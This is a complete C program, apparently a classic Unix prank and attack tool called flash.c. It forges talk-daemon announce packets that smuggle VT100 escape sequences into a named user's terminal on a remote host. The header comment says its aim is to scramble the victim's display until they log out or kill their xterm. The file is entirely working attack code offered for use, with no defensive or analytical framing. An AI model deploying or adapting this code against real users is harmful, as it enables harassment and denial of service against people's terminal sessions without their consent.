/*                                   flash.c
 *
 * Author: Unknown
 * Modifications: [NuTBaR]
 *
 * This little program is intended to quickly mess up a user's terminal by
 * issuing a talk request to that person and sending vt100 escape characters
 * that force the user to logout or kill his/her xterm in order to regain a
 * sane view of the text. If the user's message mode is off, nothing happens
 */
 
 
#include <netdb.h>
#include <stdio.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
 
#define DELETE 2
#define LOOK_UP 1
#define ANNOUNCE 3
#define TTY_SIZE 16
#define NAME_SIZE 12
#define TALK_VERSION 1
#define LEAVE_INVITE 0
#define OLD_NAME_SIZE 9

#define FIRST "\033c\033(0\033#8"
#define SECOND "\033[1;3r\033[J"
#define THIRD  "\033[5m\033[?5h"

typedef struct {
   char   type;
   char   l_name[OLD_NAME_SIZE];
   char   r_name[OLD_NAME_SIZE];
   char   filler;
   u_long id_num;
   u_long pid;
   char   r_tty[TTY_SIZE];
   struct sockaddr_in addr;
   struct sockaddr_in ctl_addr;
} OLD_MSG;
 
typedef struct {
   u_char  vers;
   char    type;
   u_short filler;
   u_long  id_num;
   struct  sockaddr_in addr;
   struct  sockaddr_in ctl_addr;
   long    pid;
   char    l_name[NAME_SIZE];
   char    r_name[NAME_SIZE];
   char    r_tty[TTY_SIZE];
} CTL_MSG;
 
int current = 1;
 
struct sockaddr_in *getinaddr(char *hostname, u_short port) {
   struct hostent *host;
   struct sockaddr_in *address;
   static struct sockaddr addr;

   address = (struct sockaddr_in *)&addr;
   (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
   address->sin_family = AF_INET;
   address->sin_port   = htons(port);
   address->sin_addr.s_addr = inet_addr(hostname);
   if ((int)address->sin_addr.s_addr == -1) {
      host = gethostbyname(hostname);
      if (host) bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length);
      else {
         printf("\nCouldn't resolve address\n"); exit(1);
      }
   }

   return((struct sockaddr_in *)address);
}
 
SendTalkPacket(struct sockaddr_in *target, char *p, int psize) {
   int sock;

   sock = socket(AF_INET, SOCK_DGRAM, 0);
   sendto(sock, p, psize, 0, (struct sockaddr *)target, sizeof(struct sockaddr));
}
 
new_ANNOUNCE(char *hostname, char *remote, char *local) {
   CTL_MSG packet;
   struct sockaddr_in *address;
 
   address = getinaddr(hostname, 666);
   address->sin_family = htons(AF_INET);
   bzero((char *)&packet, sizeof(packet));
   packet.vers   = TALK_VERSION;
   packet.type   = ANNOUNCE;
   packet.pid    = getpid();
   packet.id_num = current;
   bcopy((char *)address, (char *)&packet.addr, sizeof(packet.addr));
   bcopy((char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
   strncpy(packet.l_name, local, NAME_SIZE);
   strncpy(packet.r_name, remote, NAME_SIZE);
   strncpy(packet.r_tty, "", 1);

   SendTalkPacket(getinaddr(hostname, 518), (char *)&packet, sizeof(packet));
}
 
old_ANNOUNCE(char *hostname, char *remote, char *local) {
   OLD_MSG packet;
   struct sockaddr_in *address;

   address = getinaddr(hostname, 666);
   address->sin_family = htons(AF_INET);
   bzero((char *)&packet, sizeof(packet));
   packet.type   = ANNOUNCE;
   packet.pid    = getpid();
   packet.id_num = current;
   bcopy((char *)address, (char *)&packet.addr, sizeof(packet.addr));
   bcopy((char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
   strncpy(packet.l_name, local, NAME_SIZE);
   strncpy(packet.r_name, remote, NAME_SIZE);
   strncpy(packet.r_tty, "", 1);

   SendTalkPacket(getinaddr(hostname, 517), (char *)&packet, sizeof(packet));
}
 
main(int argc, char *argv[]) {
   int pid;
   char *hostname, *username;

   if ((pid = fork()) == -1) {
      perror("fork()"); exit(-1);
   }
   if (!pid) exit(0);

   if (argc != 2) {
      printf("  Usage: %s <user@host>\n", argv[0]);
      exit(1);
   }

   username = argv[1];
   if ((hostname = (char *)strchr(username, '@')) == NULL) {
      printf("\nInvalid user name\n");
      exit(1);
   }
   *(hostname++) = '\0';
   if (*username == '~') username++;

   new_ANNOUNCE(hostname, username, FIRST);  old_ANNOUNCE(hostname, username, FIRST); current++;
   new_ANNOUNCE(hostname, username, SECOND); old_ANNOUNCE(hostname, username, SECOND); current++;
   new_ANNOUNCE(hostname, username, THIRD);  old_ANNOUNCE(hostname, username, THIRD);

   return(0);
}
